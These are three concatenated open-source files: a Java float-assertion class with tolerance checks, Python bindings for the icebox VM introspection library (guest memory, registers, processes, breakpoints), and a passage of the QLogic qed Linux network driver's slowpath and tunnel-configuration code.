* meant to compare floats, use {@link #of(float)} instead.
*/
@Deprecated
@Override
public boolean equals(@Nullable Object o) {
throw new UnsupportedOperationException(
"If you meant to compare floats, use .of(float) instead.");
}
/**
* @throws UnsupportedOperationException always
* @deprecated {@link Object#hashCode()} is not supported on TolerantFloatComparison
*/
@Deprecated
@Override
public int hashCode() {
throw new UnsupportedOperationException("Subject.hashCode() is not supported.");
}
}
/**
* Prepares for a check that the subject is a finite number within the given tolerance of an
* expected value that will be provided in the next call in the fluent chain.
*
* <p>The check will fail if either the subject or the object is {@link Float#POSITIVE_INFINITY},
* {@link Float#NEGATIVE_INFINITY}, or {@link Float#NaN}. To check for those values, use {@link
* #isPositiveInfinity}, {@link #isNegativeInfinity}, {@link #isNaN}, or (with more generality)
* {@link #isEqualTo}.
*
* <p>The check will pass if both values are zero, even if one is {@code 0.0f} and the other is
* {@code -0.0f}. Use {@code #isEqualTo} to assert that a value is exactly {@code 0.0f} or that it
* is exactly {@code -0.0f}.
*
* <p>You can use a tolerance of {@code 0.0f} to assert the exact equality of finite floats, but
* often {@link #isEqualTo} is preferable (note the different behaviours around non-finite values
* and {@code -0.0f}). See the documentation on {@link #isEqualTo} for advice on when exact
* equality assertions are appropriate.
*
* @param tolerance an inclusive upper bound on the difference between the subject and object
* allowed by the check, which must be a non-negative finite value, i.e. not {@link
* Float#NaN}, {@link Float#POSITIVE_INFINITY}, or negative, including {@code -0.0f}
*/
public TolerantFloatComparison isWithin(final float tolerance) {
return new TolerantFloatComparison() {
@Override
public void of(float expected) {
Float actual = FloatSubject.this.actual;
checkNotNull(
actual, "actual value cannot be null. tolerance=%s expected=%s", tolerance, expected);
checkTolerance(tolerance);
if (!equalWithinTolerance(actual, expected, tolerance)) {
failWithoutActual(
fact("expected", floatToString(expected)),
butWas(),
fact("outside tolerance", floatToString(tolerance)));
}
}
};
}
/**
* Prepares for a check that the subject is a finite number not within the given tolerance of an
* expected value that will be provided in the next call in the fluent chain.
*
* <p>The check will fail if either the subject or the object is {@link Float#POSITIVE_INFINITY},
* {@link Float#NEGATIVE_INFINITY}, or {@link Float#NaN}. See {@link #isFinite}, {@link
* #isNotNaN}, or {@link #isNotEqualTo} for checks with other behaviours.
*
* <p>The check will fail if both values are zero, even if one is {@code 0.0f} and the other is
* {@code -0.0f}. Use {@code #isNotEqualTo} for a test which fails for a value of exactly zero
* with one sign but passes for zero with the opposite sign.
*
* <p>You can use a tolerance of {@code 0.0f} to assert the exact non-equality of finite floats,
* but sometimes {@link #isNotEqualTo} is preferable (note the different behaviours around
* non-finite values and {@code -0.0f}).
*
* @param tolerance an exclusive lower bound on the difference between the subject and object
* allowed by the check, which must be a non-negative finite value, i.e. not {@code
* Float.NaN}, {@code Float.POSITIVE_INFINITY}, or negative, including {@code -0.0f}
*/
public TolerantFloatComparison isNotWithin(final float tolerance) {
return new TolerantFloatComparison() {
@Override
public void of(float expected) {
Float actual = FloatSubject.this.actual;
checkNotNull(
actual, "actual value cannot be null. tolerance=%s expected=%s", tolerance, expected);
checkTolerance(tolerance);
if (!notEqualWithinTolerance(actual, expected, tolerance)) {
failWithoutActual(
fact("expected not to be", floatToString(expected)),
butWas(),
fact("within tolerance", floatToString(tolerance)));
}
}
};
}
/**
* Asserts that the subject is exactly equal to the given value, with equality defined as by
* {@code Float#equals}. This method is <i>not</i> recommended when the code under test is doing
* any kind of arithmetic: use {@link #isWithin} with a suitable tolerance in that case. (Remember
* that the exact result of floating point arithmetic is sensitive to apparently trivial changes
* such as replacing {@code (a + b) + c} with {@code a + (b + c)}, and that unless {@code
* strictfp} is in force even the result of {@code (a + b) + c} is sensitive to the JVM's choice
* of precision for the intermediate result.) This method is recommended when the code under test
* is specified as either copying a value without modification from its input or returning a
* well-defined literal or constant value.
*
* <p><b>Note:</b> The assertion {@code isEqualTo(0.0f)} fails for an input of {@code -0.0f}, and
* vice versa. For an assertion that passes for either {@code 0.0f} or {@code -0.0f}, use {@link
* #isZero}.
*/
@Override
public final void isEqualTo(@Nullable Object other) {
super.isEqualTo(other);
}
/**
* Asserts that the subject is not exactly equal to the given value, with equality defined as by
* {@code Float#equals}. See {@link #isEqualTo} for advice on when exact equality is recommended.
* Use {@link #isNotWithin} for an assertion with a tolerance.
*
* <p><b>Note:</b> The assertion {@code isNotEqualTo(0.0f)} passes for {@code -0.0f}, and vice
* versa. For an assertion that fails for either {@code 0.0f} or {@code -0.0f}, use {@link
* #isNonZero}.
*/
@Override
public final void isNotEqualTo(@Nullable Object other) {
super.isNotEqualTo(other);
}
/**
* @deprecated Use {@link #isWithin} or {@link #isEqualTo} instead (see documentation for advice).
*/
@Override
@Deprecated
public final void isEquivalentAccordingToCompareTo(Float other) {
super.isEquivalentAccordingToCompareTo(other);
}
/**
* Ensures that the given tolerance is a non-negative finite value, i.e. not {@code Float.NaN},
* {@code Float.POSITIVE_INFINITY}, or negative, including {@code -0.0f}.
*/
static void checkTolerance(float tolerance) {
checkArgument(!Float.isNaN(tolerance), "tolerance cannot be NaN");
checkArgument(tolerance >= 0.0f, "tolerance (%s) cannot be negative", tolerance);
checkArgument(
floatToIntBits(tolerance) != NEG_ZERO_BITS, "tolerance (%s) cannot be negative", tolerance);
checkArgument(tolerance != Float.POSITIVE_INFINITY, "tolerance cannot be POSITIVE_INFINITY");
}
/** Asserts that the subject is zero (i.e. it is either {@code 0.0f} or {@code -0.0f}). */
public final void isZero() {
if (actual == null || actual.floatValue() != 0.0f) {
failWithActual(simpleFact("expected zero"));
}
}
/**
* Asserts that the subject is a non-null value other than zero (i.e. it is not {@code 0.0f},
* {@code -0.0f} or {@code null}).
*/
public final void isNonZero() {
if (actual == null) {
failWithActual(simpleFact("expected a float other than zero"));
} else if (actual.floatValue() == 0.0f) {
failWithActual(simpleFact("expected not to be zero"));
}
}
/** Asserts that the subject is {@link Float#POSITIVE_INFINITY}. */
public final void isPositiveInfinity() {
isEqualTo(Float.POSITIVE_INFINITY);
}
/** Asserts that the subject is {@link Float#NEGATIVE_INFINITY}. */
public final void isNegativeInfinity() {
isEqualTo(Float.NEGATIVE_INFINITY);
}
/** Asserts that the subject is {@link Float#NaN}. */
public final void isNaN() {
isEqualTo(NaN);
}
/**
* Asserts that the subject is finite, i.e. not {@link Float#POSITIVE_INFINITY}, {@link
* Float#NEGATIVE_INFINITY}, or {@link Float#NaN}.
*/
public final void isFinite() {
if (actual == null || actual.isNaN() || actual.isInfinite()) {
failWithActual(simpleFact("expected to be finite"));
}
}
/**
* Asserts that the subject is a non-null value other than {@link Float#NaN} (but it may be {@link
* Float#POSITIVE_INFINITY} or {@link Float#NEGATIVE_INFINITY}).
*/
public final void isNotNaN() {
if (actual == null) {
failWithActual(simpleFact("expected a float other than NaN"));
} else {
isNotEqualTo(NaN);
}
}
/**
* Checks that the subject is greater than {@code other}.
*
* <p>To check that the subject is greater than <i>or equal to</i> {@code other}, use {@link
* #isAtLeast}.
*/
public final void isGreaterThan(int other) {
asDouble.isGreaterThan(other);
}
/**
* Checks that the subject is less than {@code other}.
*
* <p>To check that the subject is less than <i>or equal to</i> {@code other}, use {@link
* #isAtMost} .
*/
public final void isLessThan(int other) {
asDouble.isLessThan(other);
}
/**
* Checks that the subject is less than or equal to {@code other}.
*
* <p>To check that the subject is <i>strictly</i> less than {@code other}, use {@link
* #isLessThan}.
*/
public final void isAtMost(int other) {
asDouble.isAtMost(other);
}
/**
* Checks that the subject is greater than or equal to {@code other}.
*
* <p>To check that the subject is <i>strictly</i> greater than {@code other}, use {@link
* #isGreaterThan}.
*/
public final void isAtLeast(int other) {
asDouble.isAtLeast(other);
}
}
| {
"pile_set_name": "Github"
} |
import binascii
import os
import struct
import types
from . import _icebox
# magic to attach dynamic properties to a single class instance
def _attach_dynamic_properties(instance, properties):
class_name = instance.__class__.__name__ + '_'
child_class = type(class_name, (instance.__class__,), properties)
instance.__class__ = child_class
class Number(int):
def __repr__(self):
return hex(self)
class Registers:
def __init__(self, regs, read, write):
props = {}
self.regs = []
self.read = read
for name, idx in regs():
def get_property(idx):
def fget(_): return Number(read(idx))
def fset(_, arg): return write(idx, arg)
return property(fget, fset)
props[name] = get_property(idx)
self.regs.append((name, idx))
_attach_dynamic_properties(self, props)
def __call__(self):
return [x for x, _ in self.regs]
def dump(self):
"""Dump all registers."""
for name, idx in self.regs:
print("%3s 0x%x" % (name, self.read(idx)))
class Flags:
def __init__(self, dict):
for k, v in dict.items():
setattr(self, k, v)
def __repr__(self):
return str(vars(self))
def __eq__(self, other):
return vars(self) == vars(other)
flags_any = Flags({"is_x86": False, "is_x64": False})
flags_x86 = Flags({"is_x86": True, "is_x64": False})
flags_x64 = Flags({"is_x86": False, "is_x64": True})
def dump_bytes(buf):
"""Dump bytes from input buffer."""
if len(buf) == 1:
return hex(struct.unpack_from("<B", buf)[0])[2:]
if len(buf) == 2:
return hex(struct.unpack_from("<H", buf)[0])[2:]
if len(buf) == 4:
return hex(struct.unpack_from("<I", buf)[0])[2:]
if len(buf) == 8:
return hex(struct.unpack_from("<Q", buf)[0])[2:]
if len(buf) > 8:
rpy = ""
count = 0
max_count = 256
while len(buf) > 8 and count < max_count:
rpy += dump_bytes(buf[:8]) + " "
buf = buf[8:]
count += 1
rpy = rpy[:-1]
if count == max_count and len(buf) > 8:
rpy += " ... [%d bytes truncated]" % len(buf)
return rpy
return binascii.hexlify(buf).decode()
class BreakpointId:
def __init__(self, bpid, callback):
self.bpid = bpid
self.callback = callback
def __enter__(self):
return self
def __exit__(self, exception_type, exception_value, traceback):
_icebox.drop_breakpoint(self.bpid)
del self.bpid
del self.callback
class Symbols:
def __init__(self, py_proc):
self.py_proc = py_proc
self.proc = py_proc.proc
def address(self, name):
"""Convert symbol to process virtual address."""
module, symbol = name.split("!")
return _icebox.symbols_address(self.proc, module, symbol)
def strucs(self, module):
"""List all structure names from process module name."""
return _icebox.symbols_list_strucs(self.proc, module)
def struc(self, name):
"""Read structure type from name."""
module, struc_name = name.split("!")
ret = _icebox.symbols_read_struc(self.proc, module, struc_name)
if not ret:
return ret
struc = types.SimpleNamespace()
setattr(struc, "name", ret["name"])
setattr(struc, "size", ret["bytes"])
members = []
for m in ret["members"]:
item = types.SimpleNamespace()
setattr(item, "name", m["name"])
setattr(item, "bits", m["bits"])
setattr(item, "offset", m["offset"])
members.append(item)
setattr(struc, "members", members)
return struc
def string(self, ptr):
"""Convert process virtual memory address to symbol string."""
return _icebox.symbols_string(self.proc, ptr)
def load_module_memory(self, addr, size):
"""Load symbols from virtual memory address and size."""
return _icebox.symbols_load_module_memory(self.proc, addr, size)
def load_module(self, name):
"""Load symbols from process module name."""
return _icebox.symbols_load_module(self.proc, name)
def load_modules(self):
"""Load symbols from all process modules."""
return _icebox.symbols_load_modules(self.proc)
def autoload_modules(self):
"""Return an object auto-loading symbols from process modules."""
bpid = _icebox.symbols_autoload_modules(self.proc)
return BreakpointId(bpid, None)
def dump_type(self, name, ptr):
"""Dump type at virtual memory address."""
struc = self.struc(name)
max_name = 0
for m in struc.members:
max_name = max(len(m.name), max_name)
print("%s %x" % (name, ptr))
for m in struc.members:
size = m.bits >> 3
if not size:
continue
buf = self.py_proc.memory[ptr + m.offset: ptr + m.offset + size]
print(" %3x %s %s" %
(m.offset, m.name.ljust(max_name), dump_bytes(buf)))
class Virtual:
def __init__(self, proc):
self.proc = proc
def __getitem__(self, key):
if isinstance(key, slice):
buf = bytearray(key.stop - key.start)
self.read(buf, key.start)
return buf
buf = bytearray(1)
self.read(buf, key)
return buf[0]
def read(self, buf, ptr):
"""Read buffer from virtual memory."""
return _icebox.memory_read_virtual(buf, self.proc, ptr)
def physical_address(self, ptr):
"""Convert virtual memory address to physical address."""
return _icebox.memory_virtual_to_physical(self.proc, ptr)
def __setitem__(self, key, item):
if isinstance(key, slice):
return self.write(key.start, item)
return self.write(key, struct.pack("B", item))
def write(self, ptr, buf):
"""Write buffer to virtual memory."""
return _icebox.memory_write_virtual(buf, self.proc, ptr)
class Module:
def __init__(self, proc, mod):
self.proc = proc
self.mod = mod
def __eq__(self, other):
return self.mod == other.mod
def __repr__(self):
addr, size = self.span()
flags = str(self.flags())
return "%s: %x-%x flags:%s" % (self.name(), addr, addr + size, flags)
def name(self):
"""Return module name."""
return _icebox.modules_name(self.proc, self.mod)
def span(self):
"""Return module base address and size."""
return _icebox.modules_span(self.proc, self.mod)
def flags(self):
"""Return module flags."""
return Flags(_icebox.modules_flags(self.mod))
class Modules:
def __init__(self, proc):
self.proc = proc
def __call__(self):
"""List all process modules."""
for x in _icebox.modules_list(self.proc):
yield Module(self.proc, x)
def find(self, addr):
"""Find module by address."""
mod = _icebox.modules_find(self.proc, addr)
return Module(self.proc, mod) if mod else None
def find_name(self, name, flags=flags_any):
"""Find module by name."""
mod = _icebox.modules_find_name(self.proc, name, flags)
return Module(self.proc, mod) if mod else None
def break_on_create(self, callback, flags=flags_any):
"""Return breakpoint on modules creation."""
def fmod(mod): return callback(Module(self.proc, mod))
bpid = _icebox.modules_listen_create(self.proc, flags, fmod)
return BreakpointId(bpid, fmod)
class Callstack:
def __init__(self, proc):
self.proc = proc
def __call__(self):
"""List callstack addresses."""
for x in _icebox.callstacks_read(self.proc, 256):
yield x
def load_module(self, mod):
"""Load unwind data from module."""
return _icebox.callstacks_load_module(self.proc, mod.mod)
def load_driver(self, drv):
"""Load unwind data from driver."""
return _icebox.callstacks_load_driver(self.proc, drv.drv)
def autoload_modules(self):
"""Return an object auto-loading unwind data from modules."""
bpid = _icebox.callstacks_autoload_modules(self.proc)
return BreakpointId(bpid, None)
class VmArea:
def __init__(self, proc, vma):
self.proc = proc
self.vma = vma
def span(self):
"""Return vma base address and size."""
return _icebox.vm_area_span(self.proc, self.vma)
class VmAreas:
def __init__(self, proc):
self.proc = proc
def __call__(self):
"""List all current active virtual memory areas."""
for x in _icebox.vm_area_list(self.proc):
yield VmArea(self.proc, x)
class Process:
def __init__(self, proc):
self.proc = proc
self.symbols = Symbols(self)
self.memory = Virtual(proc)
self.modules = Modules(proc)
self.callstack = Callstack(proc)
self.vm_areas = VmAreas(proc)
def __eq__(self, other):
return self.proc == other.proc
def __repr__(self):
return "%s pid:%d" % (self.name(), self.pid())
def native(self):
"""Return native process handle."""
return _icebox.process_native(self.proc)
def kdtb(self):
"""Return kernel Directory Table Base."""
return _icebox.process_kdtb(self.proc)
def udtb(self):
"""Return user Directory Table Base."""
return _icebox.process_udtb(self.proc)
def name(self):
"""Return process name."""
return _icebox.process_name(self.proc)
def is_valid(self):
"""Return whether this process is valid."""
return _icebox.process_is_valid(self.proc)
def pid(self):
"""Return process identifier."""
return _icebox.process_pid(self.proc)
def flags(self):
"""Return process flags."""
return Flags(_icebox.process_flags(self.proc))
def join_kernel(self):
"""Join process in kernel mode."""
return _icebox.process_join(self.proc, "kernel")
def join_user(self):
"""Join process in user mode."""
return _icebox.process_join(self.proc, "user")
def parent(self):
"""Return parent process."""
ret = _icebox.process_parent(self.proc)
return Process(ret) if ret else None
def threads(self):
"""List all process threads."""
for x in _icebox.thread_list(self.proc):
yield Thread(x)
class Processes:
def __init__(self):
pass
def __call__(self):
"""List all current processes."""
for x in _icebox.process_list():
yield Process(x)
def current(self):
"""Return current active process."""
return Process(_icebox.process_current())
def find_name(self, name, flags=flags_any):
"""Find process by name."""
for p in self():
got_name = os.path.basename(p.name())
if got_name != name:
continue
got_flags = p.flags()
if flags and flags.is_x64 and not got_flags.is_x64:
continue
if flags and flags.is_x86 and not got_flags.is_x86:
continue
return p
return None
def find_pid(self, pid):
"""Find process by PID."""
for p in self():
if p.pid() == pid:
return p
return None
def wait(self, name, flags=flags_any):
"""Return or wait for process to start from name."""
return Process(_icebox.process_wait(name, flags))
def break_on_create(self, callback):
"""Return breakpoint on process creation."""
def fproc(proc): return callback(Process(proc))
bpid = _icebox.process_listen_create(fproc)
return BreakpointId(bpid, fproc)
def break_on_delete(self, callback):
"""Return breakpoint on process deletion."""
def fproc(proc): return callback(Process(proc))
bpid = _icebox.process_listen_delete(fproc)
return BreakpointId(bpid, fproc)
class Thread:
def __init__(self, thread):
self.thread = thread
def __eq__(self, other):
return self.thread == other.thread
def __repr__(self):
return "%s tid:%d" % (self.process().name(), self.tid())
def process(self):
"""Return thread processus."""
return Process(_icebox.thread_process(self.thread))
def program_counter(self):
"""Return thread program counter."""
return _icebox.thread_program_counter(self.thread)
def tid(self):
"""Return thread id."""
return _icebox.thread_tid(self.thread)
class Threads:
def __init__(self):
pass
def current(self):
"""Return current active thread."""
return Thread(_icebox.thread_current())
def break_on_create(self, callback):
"""Return breakpoint on thread creation."""
def fthread(thread): return callback(Thread(thread))
bpid = _icebox.thread_listen_create(fthread)
return BreakpointId(bpid, fthread)
def break_on_delete(self, callback):
"""Return breakpoint on thread deletion."""
def fthread(thread): return callback(Thread(thread))
bpid = _icebox.thread_listen_delete(fthread)
return BreakpointId(bpid, fthread)
class Physical:
def __init__(self):
pass
def __getitem__(self, key):
if isinstance(key, slice):
buf = bytearray(key.stop - key.start)
self.read(buf, key.start)
return buf
buf = bytearray(1)
self.read(buf, key)
return buf[0]
def read(self, buf, ptr):
"""Read physical memory to buffer."""
return _icebox.memory_read_physical(buf, ptr)
def __setitem__(self, key, item):
if isinstance(key, slice):
return self.write(key.start, item)
return self.write(key, struct.pack("B", item))
def write(self, ptr, buf):
"""Write buffer to physical memory."""
return _icebox.memory_write_physical(buf, ptr)
class Args:
def __init__(self):
pass
def __getitem__(self, key):
if isinstance(key, slice):
args = []
start = key.start if key.start else 0
for i in range(start, key.stop):
args.append(_icebox.functions_read_arg(i))
return args
return _icebox.functions_read_arg(key)
def __setitem__(self, key, item):
if isinstance(key, slice):
start = key.start if key.start else 0
for i in range(start, start+len(item)):
_icebox.functions_write_arg(i, item[i-start])
return
return _icebox.functions_write_arg(key, item)
class Functions:
def __init__(self):
self.args = Args()
def read_stack(self, idx):
"""Read indexed stack value."""
return _icebox.functions_read_stack(idx)
def read_arg(self, idx):
"""Read indexed function argument."""
return _icebox.functions_read_arg(idx)
def write_arg(self, idx, arg):
"""Write indexed function argument."""
return _icebox.functions_write_arg(idx, arg)
def break_on_return(self, callback, name=""):
"""Set a single-use breakpoint callback on function return."""
# TODO do we need to keep ref on callback ?
return _icebox.functions_break_on_return(name, callback)
class Driver:
def __init__(self, drv):
self.drv = drv
def __eq__(self, other):
return self.drv == other.drv
def __repr__(self):
addr, size = self.span()
return "%s: %x-%x" % (self.name(), addr, addr + size)
def name(self):
"""Return driver name."""
return _icebox.drivers_name(self.drv)
def span(self):
"""Return driver base address and size."""
return _icebox.drivers_span(self.drv)
class Drivers:
def __init__(self):
pass
def __call__(self):
"""List all current drivers."""
for x in _icebox.drivers_list():
yield Driver(x)
def find(self, addr):
"""Find driver from address."""
drv = _icebox.drivers_find(addr)
return Driver(drv) if drv else None
def find_name(self, name):
"""Find driver from name."""
name = name.casefold()
for drv in self():
drv_name, _ = os.path.splitext(os.path.basename(drv.name()))
if drv_name.casefold() == name:
return drv
return None
def break_on(self, callback):
"""Return breakpoint on driver load and unload."""
def fdrv(drv, load): return callback(Driver(drv), load)
bpid = _icebox.drivers_listen(fdrv)
return BreakpointId(bpid, fdrv)
class KernelSymbols:
def __init__(self):
pass
def load_drivers(self):
"""Load symbols from all drivers."""
return _icebox.symbols_load_drivers()
def load_driver(self, name):
"""Load symbols from named driver."""
return _icebox.symbols_load_driver(name)
def _get_default_logger():
import logging
logging.basicConfig(format='%(asctime)s:%(levelname)s %(message)s', level=logging.INFO)
def log_it(level, msg):
if level == 0:
logging.info(msg)
elif level == 1:
logging.error(msg)
return log_it
class Vm:
def __init__(self, name, attach_only=False, get_logger=_get_default_logger):
_icebox.log_redirect(get_logger())
if attach_only:
_icebox.attach_only(name)
else:
_icebox.attach(name)
r, w = _icebox.register_read, _icebox.register_write
self.registers = Registers(_icebox.register_list, r, w)
r, w = _icebox.msr_read, _icebox.msr_write
self.msr = Registers(_icebox.msr_list, r, w)
self.threads = Threads()
self.processes = Processes()
self.physical = Physical()
self.functions = Functions()
self.drivers = Drivers()
self.symbols = KernelSymbols()
def detach(self):
"""Detach from vm."""
_icebox.detach()
def detect(self):
"""Detect OS."""
_icebox.detect()
def resume(self):
"""Resume vm."""
_icebox.resume()
def pause(self):
"""Pause vm."""
_icebox.pause()
def step_once(self):
"""Execute a single instruction."""
_icebox.single_step()
def wait(self):
"""Wait for vm to break."""
_icebox.wait()
def exec(self):
"""Execute vm once until next break."""
self.resume()
self.wait()
def _to_virtual(self, where, get_proc):
if not isinstance(where, str):
return where
proc = get_proc()
return proc.symbols.address(where)
def _to_physical(self, where, get_proc):
if not isinstance(where, str):
return where
proc = get_proc()
addr = proc.symbols.address(where)
phy = proc.memory.physical_address(addr)
return phy
def break_on(self, where, callback, name=""):
"""Return breakpoint on virtual address."""
where = self._to_virtual(where, lambda: self.processes.current())
bp = _icebox.break_on(name, where, callback)
return BreakpointId(bp, callback)
def break_on_process(self, proc, where, callback, name=""):
"""Return breakpoint on virtual address filtered by process."""
where = self._to_virtual(where, lambda: proc)
bp = _icebox.break_on_process(name, proc.proc, where, callback)
return BreakpointId(bp, callback)
def break_on_thread(self, thread, where, callback, name=""):
"""Return breakpoint on virtual address filtered by thread."""
where = self._to_virtual(where, lambda: where.process())
bp = _icebox.break_on_thread(name, thread.thread, where, callback)
return BreakpointId(bp, callback)
def break_on_physical(self, where, callback, name=""):
"""Return breakpoint on physical address."""
where = self._to_physical(where, lambda: self.processes.current())
bp = _icebox.break_on_physical(name, where, callback)
return BreakpointId(bp, callback)
def break_on_physical_process(self, dtb, where, callback, name=""):
"""Return breakpoint on physical address filtered by DTB."""
where = self._to_physical(where, self.processes.current())
bp = _icebox.break_on_physical_process(name, dtb, where, callback)
return BreakpointId(bp, callback)
def attach(name):
"""Attach to live VM by name."""
return Vm(name)
def attach_only(name):
"""Attach to live VM by name without os detection."""
return Vm(name, attach_only=True)
class Counter():
def __init__(self):
"""Initialize a new counter."""
self.count = 0
def add(self, arg=1):
"""Add arg value to counter."""
self.count += arg
def read(self):
"""Read current counter value."""
return self.count
def counter():
"""Return a new counter object."""
return Counter()
| {
"pile_set_name": "Github"
} |
/* QLogic qed NIC Driver
* Copyright (c) 2015 QLogic Corporation
*
* This software is available under the terms of the GNU General Public License
* (GPL) Version 2, available from the file COPYING in the main directory of
* this source tree.
*/
#include <linux/types.h>
#include <asm/byteorder.h>
#include <linux/bitops.h>
#include <linux/errno.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include "qed.h"
#include <linux/qed/qed_chain.h>
#include "qed_cxt.h"
#include "qed_dcbx.h"
#include "qed_hsi.h"
#include "qed_hw.h"
#include "qed_int.h"
#include "qed_reg_addr.h"
#include "qed_sp.h"
#include "qed_sriov.h"
int qed_sp_init_request(struct qed_hwfn *p_hwfn,
struct qed_spq_entry **pp_ent,
u8 cmd,
u8 protocol,
struct qed_sp_init_data *p_data)
{
u32 opaque_cid = p_data->opaque_fid << 16 | p_data->cid;
struct qed_spq_entry *p_ent = NULL;
int rc;
if (!pp_ent)
return -ENOMEM;
rc = qed_spq_get_entry(p_hwfn, pp_ent);
if (rc != 0)
return rc;
p_ent = *pp_ent;
p_ent->elem.hdr.cid = cpu_to_le32(opaque_cid);
p_ent->elem.hdr.cmd_id = cmd;
p_ent->elem.hdr.protocol_id = protocol;
p_ent->priority = QED_SPQ_PRIORITY_NORMAL;
p_ent->comp_mode = p_data->comp_mode;
p_ent->comp_done.done = 0;
switch (p_ent->comp_mode) {
case QED_SPQ_MODE_EBLOCK:
p_ent->comp_cb.cookie = &p_ent->comp_done;
break;
case QED_SPQ_MODE_BLOCK:
if (!p_data->p_comp_data)
return -EINVAL;
p_ent->comp_cb.cookie = p_data->p_comp_data->cookie;
break;
case QED_SPQ_MODE_CB:
if (!p_data->p_comp_data)
p_ent->comp_cb.function = NULL;
else
p_ent->comp_cb = *p_data->p_comp_data;
break;
default:
DP_NOTICE(p_hwfn, "Unknown SPQE completion mode %d\n",
p_ent->comp_mode);
return -EINVAL;
}
DP_VERBOSE(p_hwfn, QED_MSG_SPQ,
"Initialized: CID %08x cmd %02x protocol %02x data_addr %lu comp_mode [%s]\n",
opaque_cid, cmd, protocol,
(unsigned long)&p_ent->ramrod,
D_TRINE(p_ent->comp_mode, QED_SPQ_MODE_EBLOCK,
QED_SPQ_MODE_BLOCK, "MODE_EBLOCK", "MODE_BLOCK",
"MODE_CB"));
memset(&p_ent->ramrod, 0, sizeof(p_ent->ramrod));
return 0;
}
static enum tunnel_clss qed_tunn_get_clss_type(u8 type)
{
switch (type) {
case QED_TUNN_CLSS_MAC_VLAN:
return TUNNEL_CLSS_MAC_VLAN;
case QED_TUNN_CLSS_MAC_VNI:
return TUNNEL_CLSS_MAC_VNI;
case QED_TUNN_CLSS_INNER_MAC_VLAN:
return TUNNEL_CLSS_INNER_MAC_VLAN;
case QED_TUNN_CLSS_INNER_MAC_VNI:
return TUNNEL_CLSS_INNER_MAC_VNI;
default:
return TUNNEL_CLSS_MAC_VLAN;
}
}
static void
qed_tunn_set_pf_fix_tunn_mode(struct qed_hwfn *p_hwfn,
struct qed_tunn_update_params *p_src,
struct pf_update_tunnel_config *p_tunn_cfg)
{
unsigned long cached_tunn_mode = p_hwfn->cdev->tunn_mode;
unsigned long update_mask = p_src->tunn_mode_update_mask;
unsigned long tunn_mode = p_src->tunn_mode;
unsigned long new_tunn_mode = 0;
if (test_bit(QED_MODE_L2GRE_TUNN, &update_mask)) {
if (test_bit(QED_MODE_L2GRE_TUNN, &tunn_mode))
__set_bit(QED_MODE_L2GRE_TUNN, &new_tunn_mode);
} else {
if (test_bit(QED_MODE_L2GRE_TUNN, &cached_tunn_mode))
__set_bit(QED_MODE_L2GRE_TUNN, &new_tunn_mode);
}
if (test_bit(QED_MODE_IPGRE_TUNN, &update_mask)) {
if (test_bit(QED_MODE_IPGRE_TUNN, &tunn_mode))
__set_bit(QED_MODE_IPGRE_TUNN, &new_tunn_mode);
} else {
if (test_bit(QED_MODE_IPGRE_TUNN, &cached_tunn_mode))
__set_bit(QED_MODE_IPGRE_TUNN, &new_tunn_mode);
}
if (test_bit(QED_MODE_VXLAN_TUNN, &update_mask)) {
if (test_bit(QED_MODE_VXLAN_TUNN, &tunn_mode))
__set_bit(QED_MODE_VXLAN_TUNN, &new_tunn_mode);
} else {
if (test_bit(QED_MODE_VXLAN_TUNN, &cached_tunn_mode))
__set_bit(QED_MODE_VXLAN_TUNN, &new_tunn_mode);
}
if (p_src->update_geneve_udp_port) {
p_tunn_cfg->set_geneve_udp_port_flg = 1;
p_tunn_cfg->geneve_udp_port =
cpu_to_le16(p_src->geneve_udp_port);
}
if (test_bit(QED_MODE_L2GENEVE_TUNN, &update_mask)) {
if (test_bit(QED_MODE_L2GENEVE_TUNN, &tunn_mode))
__set_bit(QED_MODE_L2GENEVE_TUNN, &new_tunn_mode);
} else {
if (test_bit(QED_MODE_L2GENEVE_TUNN, &cached_tunn_mode))
__set_bit(QED_MODE_L2GENEVE_TUNN, &new_tunn_mode);
}
if (test_bit(QED_MODE_IPGENEVE_TUNN, &update_mask)) {
if (test_bit(QED_MODE_IPGENEVE_TUNN, &tunn_mode))
__set_bit(QED_MODE_IPGENEVE_TUNN, &new_tunn_mode);
} else {
if (test_bit(QED_MODE_IPGENEVE_TUNN, &cached_tunn_mode))
__set_bit(QED_MODE_IPGENEVE_TUNN, &new_tunn_mode);
}
p_src->tunn_mode = new_tunn_mode;
}
static void
qed_tunn_set_pf_update_params(struct qed_hwfn *p_hwfn,
struct qed_tunn_update_params *p_src,
struct pf_update_tunnel_config *p_tunn_cfg)
{
unsigned long tunn_mode = p_src->tunn_mode;
enum tunnel_clss type;
qed_tunn_set_pf_fix_tunn_mode(p_hwfn, p_src, p_tunn_cfg);
p_tunn_cfg->update_rx_pf_clss = p_src->update_rx_pf_clss;
p_tunn_cfg->update_tx_pf_clss = p_src->update_tx_pf_clss;
type = qed_tunn_get_clss_type(p_src->tunn_clss_vxlan);
p_tunn_cfg->tunnel_clss_vxlan = type;
type = qed_tunn_get_clss_type(p_src->tunn_clss_l2gre);
p_tunn_cfg->tunnel_clss_l2gre = type;
type = qed_tunn_get_clss_type(p_src->tunn_clss_ipgre);
p_tunn_cfg->tunnel_clss_ipgre = type;
if (p_src->update_vxlan_udp_port) {
p_tunn_cfg->set_vxlan_udp_port_flg = 1;
p_tunn_cfg->vxlan_udp_port = cpu_to_le16(p_src->vxlan_udp_port);
}
if (test_bit(QED_MODE_L2GRE_TUNN, &tunn_mode))
p_tunn_cfg->tx_enable_l2gre = 1;
if (test_bit(QED_MODE_IPGRE_TUNN, &tunn_mode))
p_tunn_cfg->tx_enable_ipgre = 1;
if (test_bit(QED_MODE_VXLAN_TUNN, &tunn_mode))
p_tunn_cfg->tx_enable_vxlan = 1;
if (p_src->update_geneve_udp_port) {
p_tunn_cfg->set_geneve_udp_port_flg = 1;
p_tunn_cfg->geneve_udp_port =
cpu_to_le16(p_src->geneve_udp_port);
}
if (test_bit(QED_MODE_L2GENEVE_TUNN, &tunn_mode))
p_tunn_cfg->tx_enable_l2geneve = 1;
if (test_bit(QED_MODE_IPGENEVE_TUNN, &tunn_mode))
p_tunn_cfg->tx_enable_ipgeneve = 1;
type = qed_tunn_get_clss_type(p_src->tunn_clss_l2geneve);
p_tunn_cfg->tunnel_clss_l2geneve = type;
type = qed_tunn_get_clss_type(p_src->tunn_clss_ipgeneve);
p_tunn_cfg->tunnel_clss_ipgeneve = type;
}
static void qed_set_hw_tunn_mode(struct qed_hwfn *p_hwfn,
struct qed_ptt *p_ptt,
unsigned long tunn_mode)
{
